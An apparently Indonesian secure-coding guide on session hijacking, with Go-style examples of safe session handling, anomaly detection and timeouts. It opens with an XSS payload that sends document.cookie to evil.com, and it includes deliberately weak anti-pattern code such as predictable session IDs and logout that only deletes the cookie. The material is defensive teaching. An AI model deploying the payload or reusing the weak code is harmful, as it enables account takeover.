Session Hijacking #

// Payload XSS yang mencuri session cookie
// Disisipkan attacker di form komentar atau input lain yang rentan

<script>
// Ambil semua cookie yang tidak HttpOnly
const stolen = document.cookie;

// Kirim ke server attacker
new Image().src = 'https://evil.com/steal?data=' +
  encodeURIComponent(stolen) +
  '&url=' + encodeURIComponent(location.href);
</script>

// Dengan session token yang diterima, attacker bisa:
// 1. Set cookie di browser mereka
// 2. Akses aplikasi sebagai korban

// Pencegahan:
// - HttpOnly cookie: document.cookie tidak mengandung session token
// - CSP: membatasi script yang bisa jalan dan tujuan fetch
// - Fix XSS di aplikasi

// ANTI-PATTERN: tidak regenerasi session ID setelah login
func loginUnsafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // ✗ Session ID tetap sama — session fixation vulnerable!
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        res.Redirect("/dashboard")
    }
}

// BENAR: selalu regenerasi session ID setelah login berhasil
func loginSafe(req Request, res Response) {
    email := req.Form("email")
    password := req.Form("password")
    user := verifyCredentials(email, password)

    if user != nil {
        // Simpan data yang perlu dibawa
        oldFlashMessages := session.Get("flash_messages")

        // ✓ Buat session baru yang berbeda — hapus yang lama
        session.Clear()       // hapus session lama sepenuhnya
        session.Regenerate()  // atau gunakan method regenerate jika tersedia

        // Set data session baru
        session.Set("user_id", user.ID)
        session.Set("logged_in", true)
        session.Set("created_at", time.Now().UTC().Format(time.RFC3339))
        session.Set("ip_at_login", req.RemoteAddr)
        session.Set("ua_at_login", req.UserAgent())

        // Kembalikan flash messages jika perlu
        session.Set("flash_messages", oldFlashMessages)

        res.Redirect("/dashboard")
    }
}

// ANTI-PATTERN: session ID yang bisa ditebak
// Berbasis waktu — sequential dan predictable
var unsafeTimeID = strconv.FormatInt(time.Now().Unix(), 10)

// Random biasa — tidak kriptografis, bisa diprediksi dengan seed yang sama
var unsafeRandomID = strconv.Itoa(rand.Intn(900000) + 100000)

// MD5 dari user info — bisa di-reverse atau di-rainbow-table
var unsafeMd5ID = fmt.Sprintf("%x", md5.Sum([]byte(userID+email)))

// BENAR: session ID yang kriptografis aman
// 32 byte = 256 bit entropy
// URL-safe base64 encoding → string yang aman untuk cookie
func generateSessionID() string {
    return randomURLSafe(32)
}

// Verifikasi kekuatan session ID:
// randomURLSafe(32) menghasilkan ~43 karakter
// Entropy: 256 bit
// Kemungkinan brute force: 2^256 ≈ 10^77 kombinasi
// Dengan 1 miliar attempt per detik: butuh lebih dari umur alam semesta

// ANTI-PATTERN: logout hanya hapus cookie
func logoutUnsafe(res Response, req Request) {
    res.DeleteCookie("session") // hanya hapus di client
    res.Redirect("/login")
    // Session di Redis/DB masih ada dan masih valid!
}

// BENAR: invalidasi session di server DAN hapus cookie
func logoutSafe(res Response, req Request) {
    sessionToken := req.Cookie("session")

    if sessionToken != "" {
        // Hapus session dari storage backend
        redisClient.Delete("session:" + sessionToken)
        // Atau jika pakai database:
        // Session.query.filter_by(token=sessionToken).delete()
    }

    res.SetCookie(&http.Cookie{
        Name:     "session",
        Value:    "",
        MaxAge:   -1,
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
    })
    res.Redirect("/login")
}

// Session Store yang Aman — session berbasis Redis
func createSession(userID int, req Request) string {
    sessionToken := randomURLSafe(32)

    sessionData := map[string]string{
        "user_id":    strconv.Itoa(userID),
        "created_at": time.Now().UTC().Format(time.RFC3339),
        "last_active": time.Now().UTC().Format(time.RFC3339),
        "ip":          req.RemoteAddr,
        "user_agent":  truncate(req.UserAgent(), 200), // batasi panjang
    }

    // Simpan di Redis dengan TTL
    redisClient.HSet("session:"+sessionToken, sessionData)
    redisClient.Expire("session:"+sessionToken, SESSION_TTL_SECONDS)

    return sessionToken
}

func getSession(sessionToken string, req Request) map[string]string {
    if sessionToken == "" {
        return nil
    }

    data := redisClient.HGetAll("session:" + sessionToken)
    if len(data) == 0 {
        return nil
    }

    // Cek idle timeout
    lastActive, _ := time.Parse(time.RFC3339, data["last_active"])
    if time.Since(lastActive).Seconds() > float64(IDLE_TTL_SECONDS) {
        invalidateSession(sessionToken)
        return nil
    }

    // Perbarui last_active (rolling timeout)
    redisClient.HSet("session:"+sessionToken, "last_active",
        time.Now().UTC().Format(time.RFC3339))

    return data
}

func invalidateSession(sessionToken string) {
    redisClient.Delete("session:" + sessionToken)
}

func invalidateAllSessions(userID int) {
    // Logout dari semua device — berguna setelah password reset
    // Scan semua session key (di production, maintain set of user's sessions)
    // Atau simpan daftar session per user di Redis set
    userSessions := redisClient.SMembers(fmt.Sprintf("user_sessions:%d", userID))
    for _, token := range userSessions {
        redisClient.Delete("session:" + token)
    }
    redisClient.Delete(fmt.Sprintf("user_sessions:%d", userID))
}

// Binding session ke konteks user — memvalidasi bahwa request
// berasal dari konteks yang sama dengan saat session dibuat.
func validateSessionContext(session map[string]string, req Request) bool {
    // Cek User-Agent
    currentUA := req.UserAgent()
    sessionUA := session["user_agent"]

    // Perbandingan fleksibel — UA bisa berubah karena update browser
    // tapi perubahan drastis (Chrome → Firefox) mencurigakan
    if !userAgentsSimilar(currentUA, sessionUA) {
        logSuspiciousSession(session, req, "user_agent_mismatch")
        // Opsi: invalidasi session atau minta re-auth
        return false
    }

    // Cek perubahan IP address (opsional dan hati-hati)
    // IP bisa berubah secara legitimate (mobile network switch, VPN)
    // Jangan langsung invalidasi — gunakan untuk scoring risiko saja
    currentIP := req.RemoteAddr
    sessionIP := session["ip"]

    if currentIP != sessionIP {
        // Log sebagai anomali, tapi jangan langsung blokir
        logSuspiciousSession(session, req, "ip_changed")
        // Pertimbangkan risk scoring di sini
    }

    return true
}

// Cek apakah dua user agent dari browser yang sama.
func userAgentsSimilar(ua1, ua2 string) bool {
    // Extract browser name saja (Chrome, Firefox, Safari, dll)
    browserPattern := regexp.MustCompile(`(Chrome|Firefox|Safari|Edge|Opera)`)
    browser1 := browserPattern.FindString(ua1)
    browser2 := browserPattern.FindString(ua2)
    if browser1 != "" && browser2 != "" {
        return browser1 == browser2
    }
    return true // tidak bisa dibandingkan, anggap OK
}

// Pola anomali yang perlu dideteksi:

func detectSessionAnomalies(sessionToken string, req Request) {
    session := getSession(sessionToken, req)
    if session == nil {
        return
    }

    anomalies := []Anomaly{}

    // 1. Deteksi concurrent session dari lokasi berbeda secara bersamaan
    activeLocations := getActiveLocationsForUser(session["user_id"])
    currentLocation := getGeoFromIP(req.RemoteAddr)
    if len(activeLocations) > 1 && !contains(activeLocations, currentLocation) {
        anomalies = append(anomalies, Anomaly{
            Type:   "concurrent_location",
            Detail: fmt.Sprintf("Active sessions from %v and %s", activeLocations, currentLocation),
        })
    }

    // 2. Deteksi penggunaan session dari geografis yang tidak mungkin
    // (login dari Jakarta, 5 menit kemudian dari New York)
    lastLocation := session["last_known_location"]
    if lastLocation != "" && isImpossibleTravel(
        lastLocation, currentLocation,
        5, // 5 menit tidak cukup untuk pindah benua
    ) {
        anomalies = append(anomalies, Anomaly{
            Type:   "impossible_travel",
            Detail: fmt.Sprintf("From %s to %s in a short time", lastLocation, currentLocation),
        })
    }

    // 3. Deteksi akses di luar jam normal user
    userTimezone := session["timezone"]
    localHour := getLocalHour(userTimezone)
    if localHour < 4 || localHour > 23 { // aktivitas antara 00:00-04:00 lokal
        anomalies = append(anomalies, Anomaly{
            Type:   "unusual_hour",
            Detail: fmt.Sprintf("Activity at %d:00 in the user's local time", localHour),
        })
    }

    if len(anomalies) > 0 {
        for _, anomaly := range anomalies {
            logSecurityEvent("session_anomaly", map[string]any{
                "session_token_hash": hashToken(sessionToken),
                "user_id":            session["user_id"],
                "anomaly":            anomaly,
                "request_ip":         req.RemoteAddr,
            })
        }

        // Trigger action berdasarkan severity
        if hasImpossibleTravel(anomalies) {
            // Langsung invalidasi session — ini sangat mencurigakan
            invalidateSession(sessionToken)
            sendSecurityAlertEmail(session["user_id"], anomalies)
        } else {
            // Minta re-autentikasi (step-up authentication)
            flagSessionForReauth(sessionToken)
        }
    }
}

const MAX_CONCURRENT_SESSIONS = 3

func createSessionWithLimit(userID int, req Request) string {
    // Dapatkan semua session aktif user ini
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    activeSessions := redisClient.SMembers(userSessionsKey)

    // Jika sudah mencapai limit, hapus yang paling lama
    if len(activeSessions) >= MAX_CONCURRENT_SESSIONS {
        // Cari session tertua
        var oldestToken string
        var oldestTime time.Time

        for _, token := range activeSessions {
            sessionData := redisClient.HGet(fmt.Sprintf("session:%s", token), "created_at")
            if sessionData != "" {
                created, _ := time.Parse(time.RFC3339, sessionData)
                if oldestTime.IsZero() || created.Before(oldestTime) {
                    oldestTime = created
                    oldestToken = token
                }
            }
        }

        if oldestToken != "" {
            // Invalidasi session tertua
            invalidateSession(oldestToken)
            redisClient.SRem(userSessionsKey, oldestToken)
        }
    }

    // Buat session baru
    sessionToken := createSession(userID, req)

    // Track session ini untuk user
    redisClient.SAdd(userSessionsKey, sessionToken)
    redisClient.Expire(userSessionsKey, SESSION_TTL_SECONDS)

    return sessionToken
}

// Untuk fitur 'kelola device aktif' yang ditampilkan ke user.
func getUserActiveSessions(userID int) []SessionInfo {
    userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
    sessionTokens := redisClient.SMembers(userSessionsKey)

    sessions := []SessionInfo{}
    for _, token := range sessionTokens {
        data := redisClient.HGetAll(fmt.Sprintf("session:%s", token))
        if len(data) > 0 {
            sessions = append(sessions, SessionInfo{
                TokenLast4: token[len(token)-4:],
                CreatedAt:  data["created_at"],
                LastActive: data["last_active"],
                IP:         data["ip"],
                UserAgent:  truncate(data["user_agent"], 50),
            })
        }
    }

    return sessions
}

// Perbedaan idle timeout dan absolute timeout:

// Idle timeout:
// → Session expired jika tidak ada aktivitas selama N menit
// → Melindungi dari sesi yang ditinggalkan (user lupa logout)
// → Bisa diperpanjang dengan aktivitas (sliding timeout)
var IDLE_TIMEOUT = 30 * time.Minute

// Absolute timeout:
// → Session expired N jam setelah dibuat, apapun yang terjadi
// → Memaksa re-autentikasi secara periodik
// → Membatasi window jika session sudah dikompromikan tanpa diketahui
var ABSOLUTE_TIMEOUT = 8 * time.Hour

func checkSessionValidity(session map[string]string) (bool, string) {
    now := time.Now().UTC()

    // Cek absolute timeout
    createdAt, _ := time.Parse(time.RFC3339, session["created_at"])
    if now.Sub(createdAt) > ABSOLUTE_TIMEOUT {
        return false, "absolute_timeout"
    }

    // Cek idle timeout
    lastActive, _ := time.Parse(time.RFC3339, session["last_active"])
    if now.Sub(lastActive) > IDLE_TIMEOUT {
        return false, "idle_timeout"
    }

    return true, ""
}

// ✗ Anti-pattern 1: session ID yang tidak kriptografis aman
func antiPattern1(user User) {
    sessionID := strconv.Itoa(user.ID) + strconv.FormatInt(time.Now().Unix(), 10)
    // Sequential, predictable → bisa ditebak
}

// ✗ Anti-pattern 2: tidak regenerasi session ID setelah login
// Session fixation vulnerability

// ✗ Anti-pattern 3: session tanpa expiry
func antiPattern3(token string, data map[string]any) {
    redisClient.HSet("session:"+token, data)
    // Tidak ada TTL → session berlaku selamanya → window hijacking tak terbatas
}

// ✗ Anti-pattern 4: logout tidak invalidasi di server
func antiPattern4(res Response) {
    res.DeleteCookie("session") // hanya hapus di client
}

// ✗ Anti-pattern 5: session ID panjang tapi disimpan di URL
// /dashboard?session=eyJhbGc...
// URL tersimpan di browser history, server log, referrer header

// ✗ Anti-pattern 6: tidak ada monitoring anomali
// Session yang dikompromikan tidak terdeteksi sampai user lapor

// ✗ Anti-pattern 7: semua session user dibiarkan aktif setelah password change
// Jika password diubah karena dikompromikan, semua session harus diinvalidasi
func changePassword(userID int, newPassword string) {
    updatePassword(userID, newPassword)
    // ✗ Lupa invalidasi semua session yang ada!
    // Attacker yang sudah punya session masih bisa akses
}

// ✓ Benar:
func changePasswordSafe(userID int, newPassword string, currentSessionToken string) {
    updatePassword(userID, newPassword)
    // Invalidasi semua session kecuali yang sedang aktif (opsional)
    invalidateAllSessionsExcept(userID, currentSessionToken)
    sendNotification(userID, "password_changed_all_devices_logged_out")
}